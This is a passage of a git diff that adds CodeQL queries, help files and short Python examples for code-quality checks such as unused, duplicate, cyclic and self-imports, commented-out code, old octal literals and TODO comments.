    Remove the from xxx import yyy statement. +Add yyy = xxx.yyy if required.

    + +
    + + + + + + +
  • Python Language Reference: The import statement.
  • +
    +
    diff --git a/python/ql/src/Imports/ImportandImportFrom.ql b/python/ql/src/Imports/ImportandImportFrom.ql new file mode 100644 index 00000000000..6a12e6b938d --- /dev/null +++ b/python/ql/src/Imports/ImportandImportFrom.ql @@ -0,0 +1,24 @@ +/** + * @name Module is imported with 'import' and 'import from' + * @description A module is imported with the "import" and "import from" statements + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @precision very-high + * @id py/import-and-import-from + */ + +import python + +predicate import_and_import_from(Import i1, Import i2, Module m) { + i1.getEnclosingModule() = i2.getEnclosingModule() and + exists (ImportExpr e1, ImportExpr e2, ImportMember im | + e1 = i1.getAName().getValue() and im = i2.getAName().getValue() and e2 = im.getModule() | + e1.getName() = m.getName() and e2.getName() = m.getName() + ) +} + +from Stmt i1, Stmt i2, Module m +where import_and_import_from(i1, i2, m) +select i1, "Module '" + m.getName() + "' is imported with both 'import' and 'import from'" diff --git a/python/ql/src/Imports/Imports.qhelp b/python/ql/src/Imports/Imports.qhelp new file mode 100644 index 00000000000..18df8145f26 --- /dev/null +++ b/python/ql/src/Imports/Imports.qhelp @@ -0,0 +1,29 @@ + + + + + +

    Code is easier to read when each import statement is defined on a separate line. +

    + +
    + +

    Update the code so that each import is defined on a separate line. PEP8 notes that it is +acceptable to define multiple imports from a subprocess in a single statement.

    + +
    + +

    The import statement:

    + +

    should be changed to:

    + +
    + + +
  • Python Language Reference: The import statement.
  • +
  • Python PEP 8: Imports.
  • + +
    +
    diff --git a/python/ql/src/Imports/Imports.ql b/python/ql/src/Imports/Imports.ql new file mode 100644 index 00000000000..7adba83cfe4 --- /dev/null +++ b/python/ql/src/Imports/Imports.ql @@ -0,0 +1,27 @@ +/** + * @name Multiple imports on one line + * @description Defining multiple imports on one line makes code more difficult to read; + * PEP8 states that imports should usually be on separate lines. + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision medium + * @id py/multiple-imports-on-line + */ + +/* Look for imports of the form: +import modA, modB +(Imports should be one per line according PEP 8) +*/ + +import python + +predicate multiple_import(Import imp) { + count(imp.getAName()) > 1 and not imp.isFromImport() +} + +from Import i +where multiple_import(i) +select i, "Multiple imports on one line." diff --git a/python/ql/src/Imports/ModuleImportsItself.py b/python/ql/src/Imports/ModuleImportsItself.py new file mode 100644 index 00000000000..0757e2c1c7f --- /dev/null +++ b/python/ql/src/Imports/ModuleImportsItself.py @@ -0,0 +1,6 @@ +import ModuleImportsItself + +def factorial(n): + if n <= 0: + return 1 + return n * ModuleImportsItself.factorial(n - 1) \ No newline at end of file diff --git a/python/ql/src/Imports/ModuleImportsItself.qhelp b/python/ql/src/Imports/ModuleImportsItself.qhelp new file mode 100644 index 00000000000..1fbad45c149 --- /dev/null +++ b/python/ql/src/Imports/ModuleImportsItself.qhelp @@ -0,0 +1,33 @@ + + + + + +

    There is no need for a module to import itself. A module importing itself may lead to errors as +the module may be in an incomplete state when imported by itself. +

    + +
    + +

    Remove the import statement. +Convert all expressions of the form mod.name where "mod" is the name +of the current module to name.

    + +
    + +

    In this example the module, ModuleImportsItself imports itself and has an expression +referencing the module it is in as well.

    + + +

    The import can be removed and the reference can be corrected.

    + + +
    + + +
  • Python: Modules.
  • + +
    +
    diff --git a/python/ql/src/Imports/ModuleImportsItself.ql b/python/ql/src/Imports/ModuleImportsItself.ql new file mode 100644 index 00000000000..d07d79ed9a3 --- /dev/null +++ b/python/ql/src/Imports/ModuleImportsItself.ql @@ -0,0 +1,22 @@ +/** + * @name Module imports itself + * @description A module imports itself + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/import-own-module + */ + +import python + +predicate modules_imports_itself(Import i, ModuleObject m) { + i.getEnclosingModule() = m.getModule() and + m.importedAs(i.getAnImportedModuleName()) +} + +from Import i, ModuleObject m +where modules_imports_itself(i, m) +select i, "The module '" + m.getName() + "' imports itself." diff --git a/python/ql/src/Imports/ModuleImportsItselfFix.py b/python/ql/src/Imports/ModuleImportsItselfFix.py new file mode 100644 index 00000000000..73f826d202f --- /dev/null +++ b/python/ql/src/Imports/ModuleImportsItselfFix.py @@ -0,0 +1,5 @@ + +def factorial(n): + if n <= 0: + return 1 + return n * factorial(n - 1) \ No newline at end of file diff --git a/python/ql/src/Imports/ModuleLevelCyclicImport.qhelp b/python/ql/src/Imports/ModuleLevelCyclicImport.qhelp new file mode 100644 index 00000000000..30af68d364e --- /dev/null +++ b/python/ql/src/Imports/ModuleLevelCyclicImport.qhelp @@ -0,0 +1,40 @@ + + + +

    A cyclic import is an import which imports another module +and that module imports (possibly indirectly) the module which contains the +import statement. +If all imports in a cyclic import occur at module level, then a module will be +imported when it is part way through its initialization. This may rest in +surprising errors, as parts of the module being imported may not yet exist. +

    + +

    In addition to the possible errors, cyclic imports indicate that two modules +are circularly dependent. This means that the modules cannot be tested +independently, and it makes it harder to understand the architecture of the system. +

    + +
    + + +

    The cycle may be broken by removing any one import. If only one function or +method requires the import, then consider moving that to the other module and +deleting the import. If the two modules are more intimately connected, then move +the inter-dependent parts into a third module and have both the original modules +import that. +

    + + +
    + + + +
  • Python Language Reference: The import statement.
  • +
  • Python: Modules.
  • +
  • Effbot: Import Confusion.
  • + + +
    +
    diff --git a/python/ql/src/Imports/ModuleLevelCyclicImport.ql b/python/ql/src/Imports/ModuleLevelCyclicImport.ql new file mode 100644 index 00000000000..c7dc84e1094 --- /dev/null +++ b/python/ql/src/Imports/ModuleLevelCyclicImport.ql @@ -0,0 +1,31 @@ +/** + * @name Module-level cyclic import + * @description Module uses member of cyclically imported module, which can lead to failure at import time. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity low + * @precision high + * @comprehension 0.5 + * @id py/unsafe-cyclic-import + */ + +import python +import Cyclic + +// This is a potentially crashing bug if +// 1. the imports in the whole cycle are lexically outside a def (and so executed at import time) +// 2. there is a use ('M.foo' or 'from M import foo') of the imported module that is lexically outside a def +// 3. 'foo' is defined in M after the import in M which completes the cycle. +// then if we import the 'used' module, we will reach the cyclic import, start importing the 'using' +// module, hit the 'use', and then crash due to the imported symbol not having been defined yet + +from PythonModuleObject m1, Stmt imp, PythonModuleObject m2, string attr, Expr use, ControlFlowNode defn +where failing_import_due_to_cycle(m1, m2, imp, defn, use, attr) +select use, "'" + attr + "' may not be defined if module $@ is imported before module $@, " + +"as the $@ of " + attr + " occurs after the cyclic $@ of " + m2.getName() + ".", +m1, m1.getName(), m2, m2.getName(), defn, "definition", imp, "import" + + \ No newline at end of file diff --git a/python/ql/src/Imports/MultipleImports.py b/python/ql/src/Imports/MultipleImports.py new file mode 100644 index 00000000000..5897abc4d9a --- /dev/null +++ b/python/ql/src/Imports/MultipleImports.py @@ -0,0 +1,3 @@ +import module1 +import module2 +import module1 # Duplicate import diff --git a/python/ql/src/Imports/MultipleImports.qhelp b/python/ql/src/Imports/MultipleImports.qhelp new file mode 100644 index 00000000000..40bbfe4654d --- /dev/null +++ b/python/ql/src/Imports/MultipleImports.qhelp @@ -0,0 +1,24 @@ + + + +

    Importing the same module more than once has no effect as each module is only loaded once. It also +confuses readers of the code.

    + +
    + +

    Remove the second import.

    + +
    + + + + + + +
  • Python: import statement.
  • + + +
    +
    diff --git a/python/ql/src/Imports/MultipleImports.ql b/python/ql/src/Imports/MultipleImports.ql new file mode 100644 index 00000000000..4e5f16779c0 --- /dev/null +++ b/python/ql/src/Imports/MultipleImports.ql @@ -0,0 +1,44 @@ +/** + * @name Module is imported more than once + * @description Importing a module a second time has no effect and impairs readability + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/repeated-import + */ + +import python + +predicate is_simple_import(Import imp) { + not exists(Attribute a | imp.contains(a)) +} + +predicate double_import(Import original, Import duplicate, Module m) { + original != duplicate and + is_simple_import(original) and is_simple_import(duplicate) and + /* Imports import the same thing */ + exists (ImportExpr e1, ImportExpr e2 | e1.getName() = m.getName() and e2.getName() = m.getName() and + e1 = original.getAName().getValue() and e2 = duplicate.getAName().getValue() + ) and + original.getAName().getAsname().(Name).getId() = duplicate.getAName().getAsname().(Name).getId() + and + exists(Module enclosing | + original.getScope() = enclosing and + duplicate.getEnclosingModule() = enclosing and + ( + /* Duplicate is not at top level scope */ + duplicate.getScope() != enclosing + or + /* Original dominates duplicate */ + original.getAnEntryNode().dominates(duplicate.getAnEntryNode()) + ) + ) +} + +from Import original, Import duplicate, Module m +where double_import(original, duplicate, m) +select duplicate, "This import of module " + m.getName() + " is redundant, as it was previously imported $@.", + original, "on line " + original.getLocation().getStartLine().toString() diff --git a/python/ql/src/Imports/SyntaxError.qhelp b/python/ql/src/Imports/SyntaxError.qhelp new file mode 100644 index 00000000000..00b4870e86a --- /dev/null +++ b/python/ql/src/Imports/SyntaxError.qhelp @@ -0,0 +1,39 @@ + + + + +

    Syntax errors prevent a module being evaluated and thus imported. +An attempt to import a module with invalid syntax will fail; a SyntaxError will be raised.

    + +

    A common cause of syntax errors is the difference in syntax between Python 2 +and Python 3. In particular, a syntax error may be alerted if a Python 3 file is +assumed to be compatible with Python 2 (or vice versa). Explicitly specifying +the expected Python version can help prevent this. +

    + +

    The existence of a syntax error in a module may suggest other problems as well. +Either the module is never imported in practice and could be deleted or a +try statement around the import is mistakenly discarding the SyntaxError. +

    + + +
    + +

    Fixing the syntax error is the obvious fix. +However, it is worth investigating why a module containing a syntax error +was able to persist and address that problem as well. +

    +

    If you suspect that the syntax error is caused by the analysis using the +wrong version of Python, consider specifying the version explicitly. For +LGTM.com, you can customize extraction using an lgtm.yml file as +described here. +

    +
    + + +
  • Python Tutorial: SyntaxErrors.
  • + +
    +
    diff --git a/python/ql/src/Imports/SyntaxError.ql b/python/ql/src/Imports/SyntaxError.ql new file mode 100644 index 00000000000..677793a932a --- /dev/null +++ b/python/ql/src/Imports/SyntaxError.ql @@ -0,0 +1,17 @@ +/** + * @name Syntax error + * @description Syntax errors cause failures at runtime and prevent analysis of the code. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/syntax-error + */ + +import python + +from SyntaxError error +where not error instanceof EncodingError +select error, error.getMessage() + " (in Python " + major_version() + "." + minor_version() + ")." \ No newline at end of file diff --git a/python/ql/src/Imports/UnintentionalImport.py b/python/ql/src/Imports/UnintentionalImport.py new file mode 100644 index 00000000000..272fc9fd046 --- /dev/null +++ b/python/ql/src/Imports/UnintentionalImport.py @@ -0,0 +1,14 @@ +# Example module - finance.py + +__all__ = ['tax1', 'tax2'] #defines the names to import when '*' is used + +tax1 = 5 +tax2 = 10 +def cost(): return 'cost' + +# Imported into code using + +from finance import * + +print tax1 +print tax2 \ No newline at end of file diff --git a/python/ql/src/Imports/UnintentionalImport.qhelp b/python/ql/src/Imports/UnintentionalImport.qhelp new file mode 100644 index 00000000000..8f873931e47 --- /dev/null +++ b/python/ql/src/Imports/UnintentionalImport.qhelp @@ -0,0 +1,45 @@ + + + + + +

    When you import a module using from xxx import * all public names defined in the +module are imported and bound in the local namespace of the import statement. The +public names are determined by checking the __all__ variable for the module. If +__all__ is not defined then all names within the module that do not start with an underscore +character are imported. This pollutes the current namespace with names that are not part of the +public API for the module. +

    + +
    + +

    There are two ways to address this problem:

    +
    • where possible, modify the module being imported from and define __all__ + to restrict the names to be imported
    • +
    • otherwise, explicitly import the values that you need.
    • +
    + +
    + +

    The following simple example shows how __all__ controls the public names for the +module finance.

    + + +

    If the finance module did not include a definition of __all__, then you +could replace from finance import * with from finance import tax1, tax2. +

    + +
    + + +
  • Python Language Reference: The import statement. +
  • +
  • Python Tutorial: Modules.
  • + + + + +
    +
    diff --git a/python/ql/src/Imports/UnintentionalImport.ql b/python/ql/src/Imports/UnintentionalImport.ql new file mode 100644 index 00000000000..3815b04f64a --- /dev/null +++ b/python/ql/src/Imports/UnintentionalImport.ql @@ -0,0 +1,32 @@ +/** + * @name 'import *' may pollute namespace + * @description Importing a module using 'import *' may unintentionally pollute the global + * namespace if the module does not define '__all__' + * @kind problem + * @tags maintainability + * modularity + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/polluting-import + */ + +import python + +predicate import_star(ImportStar imp, ModuleObject exporter) { + exporter.importedAs(imp.getImportedModuleName()) +} + +predicate all_defined(ModuleObject exporter) { + exporter.isC() + or + exporter.getModule().(ImportTimeScope).definesName("__all__") + or + exporter.getModule().getInitModule().(ImportTimeScope).definesName("__all__") +} + + +from ImportStar imp, ModuleObject exporter +where import_star(imp, exporter) and not all_defined(exporter) +select imp, "Import pollutes the enclosing namespace, as the imported module $@ does not define '__all__'.", + exporter, exporter.getName() diff --git a/python/ql/src/Imports/UnusedImport.qhelp b/python/ql/src/Imports/UnusedImport.qhelp new file mode 100644 index 00000000000..8edd5dcc7ec --- /dev/null +++ b/python/ql/src/Imports/UnusedImport.qhelp @@ -0,0 +1,23 @@ + + + + + +

    A module is imported (using the import statement) but that module +is never used. This creates a dependency that does not need to exist and makes the code +more difficult to read. +

    + +
    + +

    Delete the import statement.

    + +
    + + +
  • Python: import statement.
  • + +
    +
    diff --git a/python/ql/src/Imports/UnusedImport.ql b/python/ql/src/Imports/UnusedImport.ql new file mode 100644 index 00000000000..7d6bd1b6805 --- /dev/null +++ b/python/ql/src/Imports/UnusedImport.ql @@ -0,0 +1,74 @@ +/** + * @name Unused import + * @description Import is not required as it is not used + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/unused-import + */ + +import python +import Variables.Definition + +predicate global_name_used(Module m, Variable name) { + exists (Name u, GlobalVariable v | + u.uses(v) and + v.getId() = name.getId() and + u.getEnclosingModule() = m + ) + or + /* A use of an undefined class local variable, will use the global variable */ + exists(Name u, LocalVariable v | + u.uses(v) and + v.getId() = name.getId() and + u.getEnclosingModule() = m and + not v.getScope().getEnclosingScope*() instanceof Function + ) +} + +/** Holds if a module has `__all__` but we don't understand it */ +predicate all_not_understood(Module m) { + exists(GlobalVariable a | + a.getId() = "__all__" and a.getScope() = m | + /* __all__ is not defined as a simple list */ + not m.declaredInAll(_) + or + /* __all__ is modified */ + exists(Call c | c.getFunc().(Attribute).getObject() = a.getALoad()) + ) +} + +predicate unused_import(Import imp, Variable name) { + ((Name)imp.getAName().getAsname()).getVariable() = name + and + not imp.getAnImportedModuleName() = "__future__" + and + not imp.getEnclosingModule().declaredInAll(name.getId()) + and + imp.getScope() = imp.getEnclosingModule() + and + not global_name_used(imp.getScope(), name) + and + /* Imports in __init__.py are used to force module loading */ + not imp.getEnclosingModule().isPackageInit() + and + /* Name may be imported for use in epytext documentation */ + not exists(Comment cmt | + cmt.getText().matches("%L{" + name.getId() + "}%") | + cmt.getLocation().getFile() = imp.getLocation().getFile() + ) + and + not name_acceptable_for_unused_variable(name) + and + /* Assume that opaque `__all__` includes imported module */ + not all_not_understood(imp.getEnclosingModule()) +} + + +from Stmt s, Variable name +where unused_import(s, name) +select s, "Import of '" + name.getId() + "' is not used." + diff --git a/python/ql/src/Imports/from_import.py b/python/ql/src/Imports/from_import.py new file mode 100644 index 00000000000..48151af5fce --- /dev/null +++ b/python/ql/src/Imports/from_import.py @@ -0,0 +1,5 @@ +from sys import stdout + +def main(): + stdout.write("Hello World!") + diff --git a/python/ql/src/Imports/from_import_fixed.py b/python/ql/src/Imports/from_import_fixed.py new file mode 100644 index 00000000000..a93c93f8701 --- /dev/null +++ b/python/ql/src/Imports/from_import_fixed.py @@ -0,0 +1,4 @@ +import sys + +def main(): + sys.stdout.write("Hello World!") diff --git a/python/ql/src/Imports/redirect.py b/python/ql/src/Imports/redirect.py new file mode 100644 index 00000000000..00a4275bfaa --- /dev/null +++ b/python/ql/src/Imports/redirect.py @@ -0,0 +1,11 @@ +import sys + +def redirect_to_file(function, args, kwargs, filename): + with open(filename) as out: + orig_stdout = sys.stdout + sys.stdout = out + try: + function(*args, **kwargs) + finally: + sys.stdout = orig_stdout + diff --git a/python/ql/src/Lexical/CommentedOutCode.py b/python/ql/src/Lexical/CommentedOutCode.py new file mode 100644 index 00000000000..6e7baa6366b --- /dev/null +++ b/python/ql/src/Lexical/CommentedOutCode.py @@ -0,0 +1,4 @@ +def area(r): + #if DEBUG: + # print("Computing area of %r" % r) + return r.length * r.width diff --git a/python/ql/src/Lexical/CommentedOutCode.qhelp b/python/ql/src/Lexical/CommentedOutCode.qhelp new file mode 100644 index 00000000000..0d153665cdc --- /dev/null +++ b/python/ql/src/Lexical/CommentedOutCode.qhelp @@ -0,0 +1,7 @@ + + + + + diff --git a/python/ql/src/Lexical/CommentedOutCode.ql b/python/ql/src/Lexical/CommentedOutCode.ql new file mode 100644 index 00000000000..52633f8e300 --- /dev/null +++ b/python/ql/src/Lexical/CommentedOutCode.ql @@ -0,0 +1,20 @@ +/** + * @name Commented out code + * @description Commented out code causes visual clutter as it is neither code nor comment. + * @kind problem + * @tags maintainability + * readability + * documentation + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/commented-out-code + */ + +import python + +import Lexical.CommentedOutCode + +from CommentedOutCodeBlock c +where not c.maybeExampleCode() +select c, "These comments appear to contain commented-out code." diff --git a/python/ql/src/Lexical/CommentedOutCode.qll b/python/ql/src/Lexical/CommentedOutCode.qll new file mode 100644 index 00000000000..dbb12867466 --- /dev/null +++ b/python/ql/src/Lexical/CommentedOutCode.qll @@ -0,0 +1,337 @@ +import python + + +private predicate def_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?def\\s.*\\(.*\\).*:\\s*(#.*)?") +} + +private predicate if_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?(el)?if\\s.*:\\s*(#.*)?") + or + c.getText().regexpMatch("#(\\S*\\s+)?else:\\s*(#.*)?") +} + +private predicate for_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?for\\s.*\\sin\\s.*:\\s*(#.*)?") +} + +private predicate with_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?with\\s+.*:\\s*(#.*)?") +} + +private predicate try_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?try:\\s*(#.*)?") + or + c.getText().regexpMatch("#(\\S*\\s+)?except\\s*(\\w+\\s*(\\sas\\s+\\w+\\s*)?)?:\\s*(#.*)?") + or + c.getText().regexpMatch("#(\\S*\\s+)?finally:\\s*(#.*)?") +} + +private int indentation(Comment c) { + exists(int offset | + maybe_code(c) and + exists(c.getText().regexpFind("[^\\s#]", 1, offset)) and + result = offset + c.getLocation().getStartColumn() + ) +} + +private predicate class_statement(Comment c) { + c.getText().regexpMatch("#(\\S*\\s+)?class\\s+\\w+.*:\\s*(#.*)?") +} + +private predicate triple_quote(Comment c) { + c.getText().regexpMatch("#.*(\"\"\"|''').*") +} + +private predicate triple_quoted_string_part(Comment start, Comment end) { + triple_quote(start) and end = start + or + exists(Comment mid | + triple_quoted_string_part(start, mid) and + end = non_empty_following(mid) and + not triple_quote(end) + ) +} + +private predicate maybe_code(Comment c) { + not non_code(c) and not filler(c) and not endline_comment(c) and not file_or_url(c) + or + commented_out_comment(c) +} + +private predicate commented_out_comment(Comment c) { + c.getText().regexpMatch("#+\\s+#.*") +} + +private int scope_start(Comment start) { + ( + def_statement(start) or + class_statement(start) + ) + and + result = indentation(start) + and + not non_code(start) +} + +private int block_start(Comment start) { + ( + if_statement(start) or + for_statement(start) or + try_statement(start) or + with_statement(start) + ) + and + result = indentation(start) + and + not non_code(start) +} + +private int scope_doc_string_part(Comment start, Comment end) { + result = scope_start(start) and + triple_quote(end) and end = non_empty_following(start) + or + exists(Comment mid | + result = scope_doc_string_part(start, mid) and + end = non_empty_following(mid) | + not triple_quote(end) + ) +} + +private int scope_part(Comment start, Comment end) { + result = scope_start(start) and end = start + or + exists(Comment mid | + result = scope_doc_string_part(start, mid) and + end = non_empty_following(mid) and + triple_quote(end) + ) + or + exists(Comment mid | + result = scope_part(start, mid) and + end = non_empty_following(mid) | + indentation(end) > result + ) +} + +private int block_part(Comment start, Comment end) { + result = block_start(start) and + end = non_empty_following(start) and + indentation(end) > result + or + exists(Comment mid | + result = block_part(start, mid) and + end = non_empty_following(mid) | + indentation(end) > result + or + result = block_start(end) + ) +} + +private predicate commented_out_scope_part(Comment start, Comment end) { + exists(scope_doc_string_part(start, end)) + or + exists(scope_part(start, end)) +} + +private predicate commented_out_code(Comment c) { + commented_out_scope_part(c, _) + or + commented_out_scope_part(_, c) + or + exists(block_part(c, _)) + or + exists(block_part(_, c)) +} + +private predicate commented_out_code_part(Comment start, Comment end) { + commented_out_code(start) and end = start and + not exists(Comment prev | + non_empty_following(prev) = start | + commented_out_code(prev) + ) + or + exists(Comment mid | + commented_out_code_part(start, mid) and + non_empty_following(mid) = end and + commented_out_code(end) + ) +} + +private predicate commented_out_code_block(Comment start, Comment end) { + /* A block must be at least 2 comments long. */ + start != end and + commented_out_code_part(start, end) and + not commented_out_code(non_empty_following(end)) +} + +/* A single line comment that appears to be commented out code */ +class CommentedOutCodeLine extends Comment { + + CommentedOutCodeLine () { + exists(CommentedOutCodeBlock b | + b.contains(this) + ) + } + + /* Whether this commented-out code line is likely to be example code embedded in a larger comment. */ + predicate maybeExampleCode() { + exists(CommentedOutCodeBlock block | + block.contains(this) and + block.maybeExampleCode() + ) + } + +} + +/** A block of comments that appears to be commented out code */ +class CommentedOutCodeBlock extends @py_comment { + + CommentedOutCodeBlock() { + commented_out_code_block(this, _) + } + + string toString() { + result = "Commented out code" + } + + /** Whether this commented-out code block contains the comment c */ + predicate contains(Comment c) { + this = c + or + exists(Comment prev | + non_empty_following(prev) = c and + not commented_out_code_block(this, prev) and + this.contains(prev) + ) + } + + /** The length of this comment block (in comments) */ + int length() { + result = count(Comment c | this.contains(c)) + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + ((Comment)this).getLocation().hasLocationInfo(filepath, bl, bc, _, _) + and + exists(Comment end | + commented_out_code_block(this, end) | + end.getLocation().hasLocationInfo(_, _, _, el, ec) + ) + } + + /** Whether this commented-out code block is likely to be example code embedded in a larger comment. */ + predicate maybeExampleCode() { + exists(CommentBlock block | + block.contains((Comment)this) | + exists(int all_code | + all_code = sum (CommentedOutCodeBlock code | block.contains((Comment)code) | code.length()) + and + /* This ratio may need fine tuning */ + block.length() > all_code*2 + ) + ) + } +} + +/** Does c contain the pair of words "s1 s2" with only whitespace between them */ +private predicate word_pair(Comment c, string s1, string s2) { + exists(int i1, int i2, int o1, int o2 | + s1 = c.getText().regexpFind("\\w+", i1, o1) and + s2 = c.getText().regexpFind("\\w+", i2, o2) and + i2 = i1 + 1 and + c.getText().prefix(o1).regexpMatch("[^'\"]*") and + c.getText().substring(o1 + s1.length(), o2).regexpMatch("\\s+") + ) +} + +/** The comment c cannot be code if it contains a word pair "word1 word2" and + * either: + * 1. word1 is not a keyword and word2 is not an operator: + * "x is" could be code, "return y" could be code, but "isnt code" cannot be code. + * or + * 2. word1 is a keyword requiring a colon and there is no colon: + * "with spam" can only be code if the comment contains a colon. + */ +private predicate non_code(Comment c) { + exists(string word1, string word2 | + word_pair(c, word1, word2) and + not word2 = operator_keyword() + | + not word1 = a_keyword() + or + word1 = keyword_requiring_colon() and not c.getText().matches("%:%") + ) and + /* Except comments of the form: # (maybe code) # some comment */ + not c.getText().regexpMatch("#\\S+\\s.*#.*") + or + /* Don't count doctests as code */ + c.getText().matches("%>>>%") or c.getText().matches("%...%") +} + +private predicate filler(Comment c) { + c.getText().regexpMatch("#+[\\s*#-_=+]*") +} + +/** Gets the first non empty comment following c */ +private Comment non_empty_following(Comment c) { + not empty(result) and + ( + result = empty_following(c).getFollowing() + or + not empty(c) and result = c.getFollowing() + ) +} + +/* Helper for non_empty_following() */ +private Comment empty_following(Comment c) { + not empty(c) and + empty(result) + and + exists(Comment prev | + result = prev.getFollowing() | + prev = c + or + prev = empty_following(c) + ) +} + +private predicate empty(Comment c) { + c.getText().regexpMatch("#+\\s*") +} + +/* A comment following code on the same line */ +private predicate endline_comment(Comment c) { + exists(Expr e, string f, int line | + e.getLocation().hasLocationInfo(f, line, _, _, _) and + c.getLocation().hasLocationInfo(f, line, _, _, _) + ) +} + +private predicate file_or_url(Comment c) { + c.getText().regexpMatch("#[^'\"]+(https?|file)://.*") or + c.getText().regexpMatch("#[^'\"]+(/[a-zA-Z]\\w*)+\\.[a-zA-Z]+.*") or + c.getText().regexpMatch("#[^'\"]+(\\[a-zA-Z]\\w*)+\\.[a-zA-Z]+.*") +} + +private string operator_keyword() { + result = "import" or result = "and" or result = "is" or result = "or" or result = "in" or result = "not" or result = "as" +} + +private string keyword_requiring_colon() { + result = "try" or result = "while" or result = "elif" or result = "else" or result = "if" or + result = "except" or result = "def" or result = "class" +} + +private string other_keyword() { + result = "del" or result = "lambda" or result = "from" or + result = "global" or result = "with" or result = "assert" or + result = "yield" or result = "finally" or + result = "print" or + result = "exec" or result = "raise" or + result = "return" or result = "for" +} + +private string a_keyword() { + result = keyword_requiring_colon() or result = other_keyword() or result = operator_keyword() +} diff --git a/python/ql/src/Lexical/CommentedOutCodeCommon.qhelp b/python/ql/src/Lexical/CommentedOutCodeCommon.qhelp new file mode 100644 index 00000000000..aeae8991726 --- /dev/null +++ b/python/ql/src/Lexical/CommentedOutCodeCommon.qhelp @@ -0,0 +1,28 @@ + + + + +

    +Remove the commented-out code, or reinstate it if necessary. If you want to include a snippet +of example code in a comment, consider adding an @example tag or enclosing the code +in a code or pre element. +

    + +
    + +

    +In the following example, a print statement, originally used +for debugging, is left in the code, but commented out. It should be removed altogether. +

    + + + +
    + + +
  • Los Techies: Commented Code == Technical Debt.
  • + +
    +
    diff --git a/python/ql/src/Lexical/FCommentedOutCode.qhelp b/python/ql/src/Lexical/FCommentedOutCode.qhelp new file mode 100644 index 00000000000..2caeaf5cdf3 --- /dev/null +++ b/python/ql/src/Lexical/FCommentedOutCode.qhelp @@ -0,0 +1,7 @@ + + + + + diff --git a/python/ql/src/Lexical/FCommentedOutCode.ql b/python/ql/src/Lexical/FCommentedOutCode.ql new file mode 100644 index 00000000000..2f6ee0741c6 --- /dev/null +++ b/python/ql/src/Lexical/FCommentedOutCode.ql @@ -0,0 +1,20 @@ +/** + * @name Lines of commented-out code in files + * @description The number of lines of commented out code per file + * @kind treemap + * @treemap.warnOn highValues + * @metricType file + * @precision high + * @tags maintainability + * @id py/lines-of-commented-out-code-in-files + */ + +import python +import Lexical.CommentedOutCode + +import python + +from File f, int n +where n = count(CommentedOutCodeLine c | not c.maybeExampleCode() and c.getLocation().getFile() = f) +select f, n +order by n desc diff --git a/python/ql/src/Lexical/OldOctalLiteral.py b/python/ql/src/Lexical/OldOctalLiteral.py new file mode 100644 index 00000000000..ad15ab8889b --- /dev/null +++ b/python/ql/src/Lexical/OldOctalLiteral.py @@ -0,0 +1,12 @@ + +#Easily misread as x = 15 +x = 015 + +#The extra 'o' alerts the reader that this is an octal literal +y = 0o15 + +#If this is a byte sized value then a hexadecimal might be clearer +y = 0x0d + +#Or if it is a bit pattern then a binary value might be clearer +y = 0b1101 diff --git a/python/ql/src/Lexical/OldOctalLiteral.qhelp b/python/ql/src/Lexical/OldOctalLiteral.qhelp new file mode 100644 index 00000000000..f44bbddbc07 --- /dev/null +++ b/python/ql/src/Lexical/OldOctalLiteral.qhelp @@ -0,0 +1,35 @@ + + + +

    +Octal literals starting with 0 are easily misread as a decimal, +particularly by those programmers who do not have a C or Java background. +

    + +

    +The new literal syntax for non-decimal numbers is more distinct and is thus less likely to be misunderstood. +

    + +
    + + +

    +Use the 0oXXX form instead of the 0XXX form. Alternatively use binary or hexadecimal format if that would be clearer. +

    + +
    + + + + + + + +
  • Python Language Reference: Integer Literals.
  • +
  • Python PEP 3127: Integer Literal Support and Syntax.
  • + + +
    +
    diff --git a/python/ql/src/Lexical/OldOctalLiteral.ql b/python/ql/src/Lexical/OldOctalLiteral.ql new file mode 100644 index 00000000000..af0ee723c10 --- /dev/null +++ b/python/ql/src/Lexical/OldOctalLiteral.ql @@ -0,0 +1,31 @@ +/** + * @name Confusing octal literal + * @description Octal literal with a leading 0 is easily misread as a decimal value + * @kind problem + * @tags readability + * @problem.severity recommendation + * @sub-severity low + * @precision high + * @id py/old-style-octal-literal + */ + +import python + +predicate is_old_octal(IntegerLiteral i) { + exists(string text | + text = i.getText() | + text.charAt(0) = "0" and + not text = "00" and + exists(text.charAt(1).toInt()) and + /* Do not flag file permission masks */ + exists(int len | len = text.length() | + len != 4 and + len != 5 and + len != 7 + ) + ) +} + +from IntegerLiteral i +where is_old_octal(i) +select i, "Confusing octal literal, use 0o" + i.getText().suffix(1) + " instead." diff --git a/python/ql/src/Lexical/ToDoComment.py b/python/ql/src/Lexical/ToDoComment.py new file mode 100644 index 00000000000..3cc021e6d15 --- /dev/null +++ b/python/ql/src/Lexical/ToDoComment.py @@ -0,0 +1,8 @@ +def realpath(path): + ''' + Returns the true, canonical file system path equivalent to the given + path. + ''' + # TODO: There may be a more clever way to do this that also handles other, + # less common file systems. + return os.path.normpath(normcase(os.path.realpath(path))) \ No newline at end of file diff --git a/python/ql/src/Lexical/ToDoComment.qhelp b/python/ql/src/Lexical/ToDoComment.qhelp new file mode 100644 index 00000000000..2b5154d5924 --- /dev/null +++ b/python/ql/src/Lexical/ToDoComment.qhelp @@ -0,0 +1,53 @@ + + + + +

    A comment that includes the word TODO often marks a part of +the code that is incomplete or broken, or highlights ambiguities in the +software's specification.

    + +

    For example, this list of comments is typical of those found in real +programs:

    + +
      +
